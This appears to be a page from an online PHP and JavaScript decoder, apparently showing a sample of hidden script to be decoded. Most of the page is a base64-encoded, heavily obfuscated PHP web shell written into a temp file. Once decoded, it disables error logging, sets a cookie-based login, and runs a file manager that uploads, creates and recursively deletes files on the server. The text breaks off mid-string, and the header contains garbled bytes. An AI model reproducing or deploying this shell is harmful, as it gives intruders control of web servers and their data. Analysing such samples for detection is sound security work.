Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


	



 "" $(4,$&1'-=-157:::#+?D?8C49:7






	



 "" $(4,$&1'-=-157:::#+?D?8C49:7





// Create the temporary file
$temp_file = tmpfile();
$_b = "base64_decode";
fwrite($temp_file, "=@null;".$_b("aWYgKGZVbmN0SU9uX0VYaVNUUygiaVx4NmVpX3NldCIpKSB7CiAgICBAaU5pX3NldCgiZXJyb3JfbG9nIiwgbnVsbCk7CiAgICBAaW5JX3NFdCgibG9nX2Vycm9yXHg3MyIsIChpbnQpIHJvdW5kKDAgKyAwICsgMCkpOwogICAgQEluaV9zZXQoIm1heFx4NWZleGVjdXRpb1wxNTZcMTM3dGltXHg2NSIsIDAxMTUzIC0gMDExNTMpOwp9CmlmIChmVU5DVGlPbl9FeElzVHMoInNldF9tYWdpY19xdW90ZXNceDVmcnVudGlcMTU1ZSIpKSB7CiAgICBpZiAodkVyc2lPbl9jT21wYVJlKHBoUFZlcnNJb24oKSwgIjUuNC4wIiwgIjwiKSkgewogICAgICAgIG1hZ2ljX3F1b3Rlc19ydW50aW1lKChpbnQpIHJvdW5kKDAgKyAwICsgMCkpOwogICAgfQp9CmNsYXNzIF9wcHMKewogICAgcHVibGljICRoc2g7CiAgICBwdWJsaWMgJF9pOwogICAgcHVibGljICRfdGFqOwogICAgcHVibGljICRfaGVqOwogICAgcHVibGljICRfY3A7CiAgICBwdWJsaWMgJF96YTsKICAgIHB1YmxpYyAkX3pydDsKICAgIHB1YmxpYyAkX3dkYTsKICAgIHB1YmxpYyAkX3ZwYjsKICAgIHB1YmxpYyAkX3ZvcjsKICAgIGZ1bmN0aW9uIHNlVENvT2soJF9ndHEsICRfZSkKICAgIHsKICAgICAgICAkX0NPT0tJRVskX2d0cV0gPSAkX2U7CiAgICAgICAgU2VUY09Pa2llKCRfZ3RxLCAkX2UpOwogICAgfQogICAgZnVuY3Rpb24gYWZ0ZXJsb2dpTigpCiAgICB7CiAgICAgICAgJHRoaXMtPmhzaCA9ICJmYTcwNGU3MzY2ZDY2NmJkIjsKICAgICAgICAkdGhpcy0+X2kgPQogICAgICAgICAgICAiXyIgLgogICAgICAgICAgICBzVWJTVHIoCiAgICAgICAgICAgICAgICBtRDUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKSwKICAgICAgICAgICAgICAgIC0wNTYgLSAtMDE1MiAtIDA3NCwKICAgICAgICAgICAgICAgIDA3NSArIDAxNDYgKyAtMDI0MAogICAgICAgICAgICApOwogICAgICAgICR0aGlzLT5fdGFqID0gIiNkXDE0NjUiOwogICAgICAgICR0aGlzLT5faGVqID0gIldpbmRvd3MtMTI1MSI7CiAgICAgICAgaWYgKCFAaXNzZXQoJF9DT09LSUVbJHRoaXMtPl9pXSkgfHwgJF9DT09LSUVbJHRoaXMtPl9pXSAhPSAkdGhpcy0+aHNoKSB7CiAgICAgICAgICAgICR0aGlzLT5TZXRjT29LKCR0aGlzLT5faSwgJHRoaXMtPmhzaCk7CiAgICAgICAgfQogICAgfQogICAgZnVuY3Rpb24gc1RBclRVUCgpCiAgICB7CiAgICAgICAgaWYgKEZVTkNUSU9OX2V4aVNUUygiaW5pX1x4NjdldCIpKSB7CiAgICAgICAgICAgICRfdnBiID0gQElOSV9nZVQoInNhZmVfbW9kZSIpOwogICAgICAgICAgICAkX2NwID0gQElOaV9nZVQoImRpc2FibGVfZnVuY3Rpb25zIik7CiAgICAgICAgfQogICAgICAgIGlmICghJF92cGIgJiYgRlVOQ1Rpb25fRXhpU3RzKCJlcnJvcl9yXDE0NXBceDZmXHg3MnRpbmciKSkgewogICAgICAgICAgICBFUlJvUl9yZVBvUlRJTmcoKGludCkgcm91bmQoMCArIDApKTsKICAgICAgICB9CiAgICAgICAgaWYgKCEkX3ZwYiAmJiBGVW5DVElPbl9FeElzVHMoIlwxNjNldF90aVwxNTVlX2xpbWl0IikpIHsKICAgICAgICAgICAgc2VUX3RJTUVfbGltaXQoKGludCkgcm91bmQoMCArIDApKTsKICAgICAgICB9CiAgICAgICAgaWYgKAogICAgICAgICAgICBmVU5jdElvTl9lWGlTVHMoImdceDY1dF9tYWdpY19cMTYxdW90ZVwxNjNceDVmZ1wxNjBjIikgJiYKICAgICAgICAgICAgZnVOQ1RJb25fRXhJU3RTKCJhclx4NzJheVwxMzdtXHg2MVx4NzAiKSAmJgogICAgICAgICAgICBmVU5jVGlPbl9lWGlTdHMoInNceDc0cmlwc2xhc1x4NjhlcyIpICYmCiAgICAgICAgICAgIGZ1bkNUaW9uX2V4SXN0UygiaXNfYXJcMTYyYXkiKQogICAgICAgICkgewogICAgICAgICAgICBpZiAoQEdlVF9tYUdJQ19xdU90RXNfZ1BDKCkpIHsKICAgICAgICAgICAgICAgIGZ1bmN0aW9uIFdTUygkX2EpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBJc19hcnJhWSgkX2EpCiAgICAgICAgICAgICAgICAgICAgICAgID8gQEFyUkFZX01BcCgiV1NTIiwgJF9hKQogICAgICAgICAgICAgICAgICAgICAgICA6IEBTVFJJUHNsQXNoRXMoJF9hKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfUE9TVCA9IFdTcygkX1BPU1QpOwogICAgICAgICAgICAgICAgJF9DT09LSUUgPSB3c3MoJF9DT09LSUUpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmICgKICAgICAgICAgICAgIUZVbkN0aU9OX0VYSXN0cygicG9zaXhfZ2V0cHd1aWQiKSAmJgogICAgICAgICAgICBTdHJQT1MoJF9jcCwgIlwxNjBvc2l4X2dlXDE2NFwxNjB3dWlkIikgPT09IGZhbHNlCiAgICAgICAgKSB7CiAgICAgICAgICAgIGZ1bmN0aW9uIHBPU2lYX0dlVHB3VWlkKCRfbCkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmICgKICAgICAgICAgICAgIUZVbmNUSW9OX0V4aXNUUygicG9zaXhcMTM3Z2V0Z3JcMTQ3aWQiKSAmJgogICAgICAgICAgICBTdFJQb3MoJF9jcCwgInBcMTU3XHg3M2l4X2dldGdyZ2lkIikgPT09IGZhbHNlCiAgICAgICAgKSB7CiAgICAgICAgICAgIGZ1bmN0aW9uIFBPc0l4X0dldGdSZ2lkKCRfbCkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmICgKICAgICAgICAgICAgU3RSdE9sb3dFUigKICAgICAgICAgICAgICAgIHN1QlNUcihQSFBfT1MsIDAxMjAwICsgLTAxMjAwLCAoaW50KSByb3VuZCgxLjUgKyAxLjUpKQogICAgICAgICAgICApID09ICJ3aW4iCiAgICAgICAgKSB7CiAgICAgICAgICAgICRfdm9yID0gIndcMTUxXDE1NiI7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJF92b3IgPSAibml4IjsKICAgICAgICB9CiAgICAgICAgJF93ZGEgPSAkX1NFUlZFUlsiXDEwNE9ceDQzVU1FTlRfUlwxMTdPVCJdOwogICAgICAgIGlmIChGVW5jdGlPbl9leElTdFMoImdldGN3ZCIpKSB7CiAgICAgICAgICAgICRfenJ0ID0gQEdlVGN3RCgpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRfenJ0ID0gQERJUm5hbWUoX19GSUxFX18pOwogICAgICAgIH0KICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWyJjIl0pICYmICRfUE9TVFsiXDE0MyJdICE9ICIiKSB7CiAgICAgICAgICAgICRfUE9TVFsiYyJdID0gU1RSX1JPdDEzKCRfUE9TVFsiYyJdKTsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsiYyJdKSkgewogICAgICAgICAgICBpZiAoRnVuQ1Rpb25fRVhpc1RzKCJjaFx4NjRpciIpKSB7CiAgICAgICAgICAgICAgICBAQ0hEaXIoJF9QT1NUWyJjIl0pOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmIChGdU5DdElPTl9lWGlTVFMoImdceDY1dGN3ZCIpKSB7CiAgICAgICAgICAgICRfemEgPSBAR2VUY3dkKCk7CiAgICAgICAgfSBlbHNlaWYgKEBpc3NldCgkX1BPU1RbImMiXSkgJiYgJF9QT1NUWyJjIl0gIT0gIiIpIHsKICAgICAgICAgICAgJF96YSA9ICRfUE9TVFsiYyJdOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRfemEgPSAkX3pydDsKICAgICAgICB9CiAgICAgICAgaWYgKCRfdm9yID09ICJ3XDE1MVwxNTYiKSB7CiAgICAgICAgICAgICRfenJ0ID0gU3RyX1JFUGxBY0UoIlwxMzQiLCAiLyIsICRfenJ0KTsKICAgICAgICAgICAgJF96YSA9IFN0Ul9yRXBsYUNFKCJcMTM0IiwgIi8iLCAkX3phKTsKICAgICAgICB9CiAgICAgICAgaWYgKCRfemFbU3RybGVuKCRfemEpIC0gKDA1NzcgLSAtMDYyMSAtIDAxNDE3KV0gIT0gIi8iKSB7CiAgICAgICAgICAgICRfemEgLj0gIi8iOwogICAgICAgIH0KICAgICAgICAkdGhpcy0+X2NwID0gJF9jcDsKICAgICAgICAkdGhpcy0+X3phID0gJF96YTsKICAgICAgICAkdGhpcy0+X3pydCA9ICRfenJ0OwogICAgICAgICR0aGlzLT5fd2RhID0gJF93ZGE7CiAgICAgICAgJHRoaXMtPl92cGIgPSAkX3ZwYjsKICAgICAgICAkdGhpcy0+X3ZvciA9ICRfdm9yOwogICAgfQogICAgZnVuY3Rpb24gQWN0bG9HT3VUKCkKICAgIHsKICAgICAgICAkX2kgPSAkdGhpcy0+X2k7CiAgICAgICAgU0VUQ09va0lFKCRfaSwgIiIsIFRpbUUoKSAtIChpbnQpIHJvdW5kKDE4MDAgKyAxODAwKSk7CiAgICAgICAgZGllKCJieWUhIik7CiAgICB9CiAgICBmdW5jdGlvbiBhQ3RGbSgpCiAgICB7CiAgICAgICAgJF96YSA9ICR0aGlzLT5femE7CiAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbInAiXSkpIHsKICAgICAgICAgICAgJF9vemwgPSBARmlMRU1USW1lKCRfUE9TVFsiYyJdKTsKICAgICAgICAgICAgc3dpdGNoICgkX1BPU1RbInAiXSkgewogICAgICAgICAgICAgICAgY2FzZSAidXBsb2FkRmlsXDE0NSI6CiAgICAgICAgICAgICAgICAgICAgaWYgKAogICAgICAgICAgICAgICAgICAgICAgICAhQE1vVkVfVVBMT0FEZURfRklsZSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfRklMRVNbImYiXVsidG1wX25hbWUiXSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfRklMRVNbImYiXVsibmFtZSJdCiAgICAgICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiQ2FuJ1x4NzQgdXBcMTU0XDE1N2FkIGZpbGUhIjsKICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJF9vemwpIHsKICAgICAgICAgICAgICAgICAgICAgICAgQHRPVWNIKCRfRklMRVNbIlx4NjYiXVsibmFtZSJdLCAkX296bCwgJF9vemwpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgIm1rXDE0NGlyIjoKICAgICAgICAgICAgICAgICAgICBpZiAoIUBtS0RpcihzdFJfcm9UMTMoJF9QT1NUWyJ4Il0pKSkgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJDYW4ndCBjXHg3MmVhdGUgbmV3IGRpciI7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRfb3psKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIEBUT3VjSChTdFJfUm90MTMoJF9QT1NUWyJceDc4Il0pLCAkX296bCwgJF9vemwpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgImRlbGV0ZSI6CiAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gREVMRVRlZElSKCRfd2UpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAkX3dlID0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN1QlN0cigkX3dlLCAtKGludCkgcm91bmQoMC41ICsgMC41KSkgPT0gIi8iCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPyAkX3dlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgOiAkX3dlIC4gIi8iOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF9oY2YgPSBAb1BFbkRJUigkX3dlKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCgkX25vcyA9IEByZWFERElyKCRfaGNmKSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9ub3MgPSAkX3dlIC4gJF9ub3M7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAYkFzZU5hbWUoJF9ub3MpID09ICIuXHgyZSIgfHwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQEJBU0VOQW1FKCRfbm9zKSA9PSAiLiIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfZWkgPSBAZklsZXRZUGUoJF9ub3MpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX2VpID09ICJkaXIiKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERlTEV0ZWRJUigkX25vcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQHVOTGluaygkX25vcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQENMT3NlZGlyKCRfaGNmKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBAUk1kaXIoJF93ZSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmIChASXNfQVJyQVkoJF9QT1NUWyJmIl0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfUE9TVFsiZiJdIGFzICRfcmIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX3JiID09ICIuLiIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfcmIgPSBTVFJfUk90MTMoVVJMZEVDb2RFKCRfcmIpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAaXNfZGlSKCRfcmIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZEVsRVRFZElyKCRfcmIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAdU5sSW5rKCRfcmIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9OwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJF9vemwpIHsKICAgICAgICAgICAgICAgIFRvVWNIKCRfUE9TVFsiXDE0MyJdLCAkX296bCwgJF9vemwpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVjaG8gIjxoMT5GaWxlIG1cMTQxXDE1NmFnZVx4NzI8L2gxPlx4M2NkaXYgY2xhc3M9Y29uXDE2NFwxNDVudD48c2NyXDE1MXB0PlwxNjBfPVx4NzhfPXNfPVx4MjJcMDQyOzwvc2NyXHg2OXB0PiI7CiAgICAgICAgJF93YiA9IFdzQ2FuRGlyKEBpc3NldCgkX1BPU1RbImMiXSkgPyAkX1BPU1RbImMiXSA6ICRfemEpOwogICAgICAgIGlmICgkX3diID09PSBmYWxzZSkgewogICAgICAgICAgICBlY2hvICJDYW5ceDI3dFwwNDBceDZmXDE2MGVuIFwxNjRoaXMgZm9sZGVyISI7CiAgICAgICAgICAgIHJldHVybjsKICAgICAgICB9CiAgICAgICAgZ2xvYmFsICRfcnBsOwogICAgICAgICRfcnBsID0gWyJuYW1ceDY1IiwgLTAyNjMgKyAtMDM0IC0gLTAzMjBdOwogICAgICAgIGlmICghZW1wdHkoJF9QT1NUWyJwIl0pKSB7CiAgICAgICAgICAgIGlmICgKICAgICAgICAgICAgICAgIEBwUmVnX21hdENIKAogICAgICAgICAgICAgICAgICAgICIhXHg3M18oW0EtXHg3YV0rKV8oXHg1Y2R7MX1cMDUxISIsCiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWyJwIl0sCiAgICAgICAgICAgICAgICAgICAgJF90ZgogICAgICAgICAgICAgICAgKQogICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICRfcnBsID0gWyRfdGZbMDQwMiArIC0wMTM1IC0gMDI0NF0sIChpbnQpICRfdGZbMDQwNyAtIDA0MDVdXTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBlY2hvICI8c2NyaXB0PmZ1bmN0aW9uIHNhKCl7XDE0Nlx4NmZyKFwxNTE9MDtpPFx4NjQuZmlsZXMuZVx4NmNlbWVudHMubGVuZ1x4NzRoO2krKylpZihkLmZpXDE1NGVceDczLmVsZVx4NmRlbnRzW2ldXDA1NnRceDc5cGU9PSdjaFwxNDVcMTQza2JveCcpZC5maWxlcy5lXDE1NGVtXHg2NW5cMTY0c1tpXS5jaFx4NjVja2VkPVwxNDQuZmlsZXMuXHg2NWxlbVwxNDVudHNbMFx4NWQuY2hlY2tlZDtcMTc1PC9zY3JcMTUxXDE2MFx4NzQ+PHRhYmxceDY1IHdpXDE0NHRoXHgzZCcxXHgzMDAlXHgyNyBcMTQzbGFzcz0nXDE1NWFpbicgY2VsbHNwYWNcMTUxbmc9JzAnIGNlbGxwYVwxNDRkaW5nPVwwNDcyJz48Zlx4NmZcMTYyXDE1NSBuYW1lXHgzZGZpbGVzIG1lXDE2NGhcMTU3XHg2ND1wb3N0Pjx0cj5ceDNjdGggd2lkdGg9JzEzcHgnPjxcMTUxbnB1dCBcMTY0eXBlPWNoXDE0NVx4NjNrXDE0Mm94IG9uY2xceDY5Y2s9J3NhKCknIGNsYXNzPWNoa2JceDc4PjwvXDE2NGhcMDc2PHRoIHdpZHRoPSc0MCUnPjxhIFwxNTByZWY9JyMnIFwxNTduY2xpY2s9J2coXHgyMmZtXHgyMixudWxsLFwwNDJzX25ceDYxbWVceDVmIiAuCiAgICAgICAgICAgICgkX3JwbFsKICAgICAgICAgICAgICAgIChpbnQpIHJvdW5kKAogICAgICAgICAgICAgICAgICAgIDAuMzMzMzMzMzMzMzMzMzMgKyAwLjMzMzMzMzMzMzMzMzMzICsgMC4zMzMzMzMzMzMzMzMzMwogICAgICAgICAgICAgICAgKQogICAgICAgICAgICBdCiAgICAgICAgICAgICAgICA/IChpbnQpIHJvdW5kKDAgKyAwICsgMCkKICAgICAgICAgICAgICAgIDogKGludCkgcm91bmQoCiAgICAgICAgICAgICAgICAgICAgMC4zMzMzMzMzMzMzMzMzMyArIDAuMzMzMzMzMzMzMzMzMzMgKyAwLjMzMzMzMzMzMzMzMzMzCiAgICAgICAgICAgICAgICApKSAuCiAgICAgICAgICAgICJcMDQyKSc+TmFcMTU1ZTwvYVwwNzY8L3RoPjx0aD48YSBocmVmPSdceDIzJyBvbmNsXHg2OVx4NjNrXDA3NSdnKFwwNDJcMTQ2bVx4MjIsblwxNjVsbFx4MmNceDIyc19zaXplXyIgLgogICAgICAgICAgICAoJF9ycGxbCiAgICAgICAgICAgICAgICAoaW50KSByb3VuZCgKICAgICAgICAgICAgICAgICAgICAwLjMzMzMzMzMzMzMzMzMzICsgMC4zMzMzMzMzMzMzMzMzMyArIDAuMzMzMzMzMzMzMzMzMzMKICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgXQogICAgICAgICAgICAgICAgPyAtMDU2MSAtIC0wMzczIC0gLTAxNjYKICAgICAgICAgICAgICAgIDogMDEyMzAgLSAwMTIyNykgLgogICAgICAgICAgICAiXHgyMiknPlNpemU8L2FceDNlPC90aD48dGhcMDc2PFwxNDEgaHJlZj0nIycgb1wxNTZjXDE1NGljaz0nZ1wwNTBceDIyZm1cMDQyLG5ceDc1bGwsXHgyMnNcMTM3bW9cMTQ0aWZ5XyIgLgogICAgICAgICAgICAoJF9ycGxbKGludCkgcm91bmQoMC41ICsgMC41KV0gPyAoaW50KSByb3VuZCgwICsgMCkgOiAwMSAtIDAwKSAuCiAgICAgICAgICAgICJceDIyXDA1MVx4Mjc+XDExNVwxNTdceDY0aVx4NjZ5PC9hPjxcMDU3dGg+PHRoPjxhIGhyZWY9JyMnIG9ceDZlY2xpY2s9J2coXHgyMmZtXDA0MlwwNTRuXDE2NVwxNTRsLFx4MjJzX1x4NzBcMTQ1cm1zXyIgLgogICAgICAgICAgICAoJF9ycGxbKGludCkgcm91bmQoMC41ICsgMC41KV0KICAgICAgICAgICAgICAgID8gKGludCkgcm91bmQoMCArIDApCiAgICAgICAgICAgICAgICA6IChpbnQpIHJvdW5kKDAuNSArIDAuNSkpIC4KICAgICAgICAgICAgIlwwNDIpJz5QXDE0NVx4NzJtaXNzaW9uczwvYT48L3RoPjx0aCB3aWR0aD0nMjAwcHgnPkFjdFx4NjlvbnM8L3RoPjwvdHJcMDc2IjsKICAgICAgICAkX3EgPSAkX3ZnbCA9IFtdOwogICAgICAgICRfdCA9IENPVU50KCRfd2IpOwogICAgICAgIGZvciAoJF9vID0gKGludCkgcm91bmQoMCArIDAgKyAwKTsgJF9vIDwgJF90OyAkX28rKykgewogICAgICAgICAgICAkX2ogPSBbCiAgICAgICAgICAgICAgICAiXHg2ZWFtZSIgPT4gJF93YlskX29dLAogICAgICAgICAgICAgICAgIlwxNjBhdGgiID0+ICRfemEgLiAkX3diWyRfb10sCiAgICAgICAgICAgICAgICAibW9kaWZ5IiA9PiBAREFURSgKICAgICAgICAgICAgICAgICAgICAiWVx4MmRtLWQgSDppOnMiLAogICAgICAgICAgICAgICAgICAgIEBGSWxlTVRpbUUoJF96YSAuICRfd2JbJF9vXSkKICAgICAgICAgICAgICAgICksCiAgICAgICAgICAgICAgICAicFx4NjVyXHg2ZHMiID0+IFdwRVJNc0NPbE9SKCRfemEgLiAkX3diWyRfb10pLAogICAgICAgICAgICAgICAgIlwxNjNpemUiID0+IEBGSUxlc2l6ZSgkX3phIC4gJF93YlskX29dKSwKICAgICAgICAgICAgXTsKICAgICAgICAgICAgaWYgKEBpc19mSWxFKCRfemEgLiAkX3diWyRfb10pKSB7CiAgICAgICAgICAgICAgICAkX3ZnbFtdID0gQGFyUmF5X21FUmdFKCRfaiwgWyJceDc0eXBlIiA9PiAiZmlsZSJdKTsKICAgICAgICAgICAgfSBlbHNlaWYgKEBJU19MaU5LKCRfemEgLiAkX3diWyRfb10pKSB7CiAgICAgICAgICAgICAgICAkX3FbXSA9IEBBUnJheV9tZXJHRSgkX2osIFsKICAgICAgICAgICAgICAgICAgICAidHlwZSIgPT4gImxceDY5blx4NmIiLAogICAgICAgICAgICAgICAgICAgICJsaW5rIiA9PiBSZUFETEluSygkX2pbInBhdGgiXSksCiAgICAgICAgICAgICAgICBdKTsKICAgICAgICAgICAgfSBlbHNlaWYgKEBJU19ESVIoJF96YSAuICRfd2JbJF9vXSkpIHsKICAgICAgICAgICAgICAgICRfcVtdID0gQEFScmFZX21FckdlKCRfaiwgWyJ0eXBlIiA9PiAiZGlyIl0pOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIHdjbVAoJF9zbnAsICRfankpCiAgICAgICAgewogICAgICAgICAgICBnbG9iYWwgJF9ycGw7CiAgICAgICAgICAgIGlmICgkX3JwbFswMjE1IC0gMDIxNV0gIT0gInNceDY5emUiKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gQFN0UmNNUCgKICAgICAgICAgICAgICAgICAgICBTVHJUb0xPd2VyKCRfc25wWyRfcnBsWy0wMjM2IC0gLTAyMzZdXSksCiAgICAgICAgICAgICAgICAgICAgc3RydE9sb3dFcigkX2p5WyRfcnBsWzAxNTUgKyAtMDE0MiArIC0wMTNdXSkKICAgICAgICAgICAgICAgICkgKgogICAgICAgICAgICAgICAgICAgICgkX3JwbFsoaW50KSByb3VuZCgwLjUgKyAwLjUpXQogICAgICAgICAgICAgICAgICAgICAgICA/IChpbnQpIHJvdW5kKAogICAgICAgICAgICAgICAgICAgICAgICAgICAgMC4zMzMzMzMzMzMzMzMzMyArCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMC4zMzMzMzMzMzMzMzMzMyArCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMC4zMzMzMzMzMzMzMzMzMwogICAgICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICAgICAgICAgIDogLSgtMDQ2NSAtIC0wNDY2KSk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICByZXR1cm4gKCRfc25wWyJcMTYzXDE1MXplIl0gPCAkX2p5WyJzaXplIl0KICAgICAgICAgICAgICAgICAgICA/IC0oMDYwMSAtIDA2MDApCiAgICAgICAgICAgICAgICAgICAgOiAoaW50KSByb3VuZCgwLjUgKyAwLjUpKSAqCiAgICAgICAgICAgICAgICAgICAgKCRfcnBsWyhpbnQpIHJvdW5kKDAuNSArIDAuNSldCiAgICAgICAgICAgICAgICAgICAgICAgID8gMDMxMiArIC0wMjI3ICsgLTA2MgogICAgICAgICAgICAgICAgICAgICAgICA6IC0oMDE3IC0gMDE2KSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgQFVzT1J0KCRfdmdsLCAid0NtcCIpOwogICAgICAgIEBVc29ydCgkX3EsICJ3XHg0M21wIik7CiAgICAgICAgJF92Z2wgPSBAQXJyQVlfTUVSR0UoJF9xLCAkX3ZnbCk7CiAgICAgICAgJF9mbCA9IDA1NDUgLSAwMjc3IC0gMDI0NjsKICAgICAgICBmb3JlYWNoICgkX3ZnbCBhcyAkX3JiKSB7CiAgICAgICAgICAgICRfZmMgPSBTdFJfcm90MTModXJMZU5jb2RFKCRfcmJbIlwxNTZhbWUiXSkpOwogICAgICAgICAgICBlY2hvICI8dFwxNjIiIC4KICAgICAgICAgICAgICAgICgkX2ZsID8gIlwwNDBjXDE1NGFzcz1sMSIgOiAiIikgLgogICAgICAgICAgICAgICAgIj48dGQ+PGlucFwxNjV0IHR5XHg3MFx4NjU9Y2hlY1x4NmJib3ggXHg2ZWFtXDE0NT1ceDIyXDE0NltdXDA0MiB2YWx1ZT1cMDQyIiAuCiAgICAgICAgICAgICAgICAkX2ZjIC4KICAgICAgICAgICAgICAgICJcMDQyIGNsYVx4NzNzPWNoa2J4PjwvdGQ+PHRkPjxhIGhyZWY9IyBvXDE1NmNsaWNrPVx4MjIiIC4KICAgICAgICAgICAgICAgICgkX3JiWyJ0XDE3MVx4NzBlIl0gPT0gIlx4NjZcMTUxXDE1NGUiCiAgICAgICAgICAgICAgICAgICAgPyAiZygnZnQnLG51bGwsXHgyNyIgLgogICAgICAgICAgICAgICAgICAgICAgICAkX2ZjIC4KICAgICAgICAgICAgICAgICAgICAgICAgIlx4MjcsICd2aVwxNDVceDc3JylceDIyPiIgLgogICAgICAgICAgICAgICAgICAgICAgICBodG1MU3BlY2lBbENoQVJTKCRfcmJbIm5hbWUiXSkKICAgICAgICAgICAgICAgICAgICA6ICJcMTQ3KCdmbScsJyIgLgogICAgICAgICAgICAgICAgICAgICAgICBTdHJfUm9UMTMoJF9yYlsicGF0aCJdKSAuCiAgICAgICAgICAgICAgICAgICAgICAgICJceDI3KVwwNzNcMDQyXHgyMCIgLgogICAgICAgICAgICAgICAgICAgICAgICAoZW1wdHkoJF9yYlsibGluayJdKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPyAiIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgOiAidGl0bGU9JyIgLiAkX3JiWyJsaW5rIl0gLiAiJyIpIC4KICAgICAgICAgICAgICAgICAgICAgICAgIj48Yj5bICIgLgogICAgICAgICAgICAgICAgICAgICAgICBoVG1Mc3BlY2lhbGNoYXJzKCRfcmJbIlx4NmVhbWUiXSkgLgogICAgICAgICAgICAgICAgICAgICAgICAiXDA0MF08L2I+IikgLgogICAgICAgICAgICAgICAgIjwvYT48L3RceDY0Plx4M2N0ZFwwNzYiIC4KICAgICAgICAgICAgICAgICgkX3JiWyJ0eXBlIl0gPT0gImZpbFx4NjUiCiAgICAgICAgICAgICAgICAgICAgPyB2aUV3c0l6ZSgkX3JiWyJzXDE1MXplIl0pCiAgICAgICAgICAgICAgICAgICAgOiAkX3JiWyJ0eVx4Nz